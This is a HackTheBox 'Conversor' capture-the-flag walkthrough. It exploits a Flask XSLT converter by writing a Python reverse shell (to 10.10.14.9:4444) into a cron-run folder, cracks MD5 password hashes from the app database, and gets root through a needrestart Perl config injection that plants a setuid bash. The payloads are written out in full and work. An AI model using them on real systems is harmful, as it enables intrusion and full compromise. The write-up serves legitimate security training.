Conversor

📅 Last Updated: Oct 28, 2025 13:30 | 📄 Size: 12.6 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

# Nmap 7.95 scan initiated Tue Oct 28 14:39:30 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.129.247.253
Nmap scan report for 10.129.247.253
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 28 14:45:57 2025 -- 1 IP address (1 host up) scanned in 387.02 seconds

Let's add conversor.htbto our /etc/hosts

Page check

We can try to register an account to access to dashboard

dashboard

Also we can find a source code download link from /about

Now we can try to code review to find the vulnerable vector

Code Review

We can find the vulnerable vector from /convert

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    ...
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    ...
    xml_tree = etree.parse(xml_path, parser)
    xslt_tree = etree.parse(xslt_path)
    transform = etree.XSLT(xslt_tree)
    result_tree = transform(xml_tree)
  1. Unvalidated filenames: xml_file.filename and xslt_file.filename are directly appended to the file system path → Typical path traversal, leading to arbitrary file writes in the uploads/ directory.
  2. XSLT Injection: User-supplied XSLT is passed to lxml.etree.XSLT() — theoretically exploitable.

Also we can find something interesting from install.md

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Conversor]
└─$ cat install.md  
To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

Every minute, any *.py script in the /var/www/conversor.htb/scripts/ folder will be executed as the www-data user. This is a low-privilege shell trigger—if we can place arbitrary Python code in this folder, it will automatically execute.

To write a file to the /var/www/conversor.htb/scripts/ directory, we need to use EXIST.

EXSLT is a community-driven, standardized set of XSLT extension elements and functions, similar to an "XSLT Standard Library," designed to fill gaps in the core language. It's organized into several modules (Common, Math, Sets, Date, etc.), which are typically natively supported by processors like libxslt.

We can embed a payload within the .xslt file, which, when run, will write a new file to disk.

Example: Writing a Python payload to a cron zone.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">

  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/poc.py" method="text">
      Malicious Python Script
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

To verify the writing functionality of EXSLT, we wrote a minimal PoC that writes a marker file ( exslt_probe.txt ) to the /static/ directory, a readable path provided by the web server.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>

  <xsl:template match="/">
    <!-- Write proof to webroot -->
    <exsl:document href="/var/www/conversor.htb/static/exslt_probe.txt" method="text"><![CDATA[
EXSLT_WRITE_OK
]]></exsl:document>

    <!-- Visible confirmation in output -->
    <html><body><h2>Probe submitted</h2><p>Check /static/exslt_probe.txt</p></body></html>
  </xsl:template>
</xsl:stylesheet>

We can also check the file

Now we can write a malicious Python script to /var/www/conversor.htb/scripts/ and have a cronjob automatically execute it as www-data.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>

  <xsl:template match="/">
    <!-- Drop a Python reverse shell into the cron-monitored scripts/ folder -->
    <exsl:document href="/var/www/conversor.htb/scripts/xpl.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.9",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
    </exsl:document>

    <!-- Visible output to confirm transform ran -->
    <html><body><h2>Exploit succeeds</h2><p>Check listener</p></body></html>
  </xsl:template>
</xsl:stylesheet>

Then we can get the reverse shell as www-data

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Conversor]
└─$ nc -lnvp 4444                
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.247.253] 49018
$ whoami
whoami
www-data
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we can upgrade our shell

python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Shell as fismathack

From the source code, we have known there is a database path

app = Flask(__name__)
app.secret_key = 'Changemeplease'  # weak static key

DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

Now we can check it

$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.

sqlite> .tables
files  users

sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|axura|96e79218965eb72c92a549dd5a330112

We can use john to crack the password

$ john --wordlist=/usr/share/wordlists/rockyou.txt fismathhack.hash --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (?)
1g 0:00:00:00 DONE (2025-10-25 23:59) 2.222g/s 24384Kp/s 24384Kc/s 24384KC/s Keisean1..Keeperhut141
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Now we can get the credit fismathack:Keepmesafeandwarm Then you can su fismathackto get the user shell

Privilege escalation

I would like check sudo -lfirstly

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

That is a perl script

fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable

I would try to run it and check what can we do

fismathack@conversor:~$ sudo /usr/sbin/needrestart -help
Unknown option: h
Unknown option: e
Usage:

  needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]

    -v          be more verbose
    -q          be quiet
    -m <mode>   set detail level
        e       (e)asy mode
        a       (a)dvanced mode
    -n          set default answer to 'no'
    -c <cfg>    config filename
    -r <mode>   set restart mode
        l       (l)ist only
        i       (i)nteractive restart
        a       (a)utomatically restart
    -b          enable batch mode
    -p          enable nagios plugin mode
    -o          enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
    -f <fe>     override debconf frontend (DEBIAN_FRONTEND, debconf(7))
    -t <seconds> tolerate interpreter process start times within this value
    -u <ui>     use preferred UI package (-u ? shows available packages)

  By using the following options only the specified checks are performed:
    -k          check for obsolete kernel
    -l          check for obsolete libraries
    -w          check for obsolete CPU microcode

    --help      show this help
    --version   show version information

We discovered that needrestart is an open-source project hosted on GitHub. Its latest version is 3.11, while the victim's machine was running version 3.7—a potentially outdated and unaudited version.

We can use perlcritic to help us analyze these codes

perlcritic --severity 5 ./needrestart

Let's review these code

fismathack@conversor:~$ sed -n '210,230p' /usr/sbin/needrestart

# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
    local $/;
    open my $fh, $opt_c or die "ERROR: $!\n";
    my $cfg = <$fh>;
    close($fh);
    $cfg;
};
die "Error parsing $opt_c: $@" if($@);

This is a textbook case of Perl config injection. The moment we invoke:

sudo needrestart -c /path/to/malicious.pl

It gets executed before any logic in needrestart runs. No escaping. No filters.

Let's make a perl payload

cat > /dev/shm/pwn.pl <<'PL'
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
PL

Then let's try to exploit it

fismathack@conversor:~$ cat /dev/shm/pwn.pl
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
fismathack@conversor:~$ sudo needrestart -c /dev/shm/pwn.pl -r l -v
[main] eval /dev/shm/pwn.pl
[main] needrestart v3.7
[main] running in root mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[Core] #835 is a NeedRestart::Interp::Python
[Python] #835: source=/usr/bin/networkd-dispatcher
[Core] #14298 is a NeedRestart::Interp::Python
[Python] #14298: source=/var/www/conversor.htb/scripts/xpl.py
[Core] #14307 is a NeedRestart::Interp::Python
[Python] #14307: uses no source file (-c), skipping
[main] inside container or vm, skipping microcode checks
[Kernel] Linux: kernel release 5.15.0-160-generic, kernel version #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025
Failed to load NeedRestart::Kernel::kFreeBSD: [Kernel/kFreeBSD] Not running on GNU/kFreeBSD!
[Kernel/Linux] /boot/vmlinuz.old => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz-5.15.0-160-generic => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] /boot/vmlinuz-5.15.0-151-generic => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] Expected linux version: 5.15.0-160-generic

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.
fismathack@conversor:~$ bsh -p
bsh-5.1# whoami
root
bsh-5.1# 

Description

In general, it is a very CTF machine, mainly examining code review and the use of Xtensible Stylesheet Language Transformations.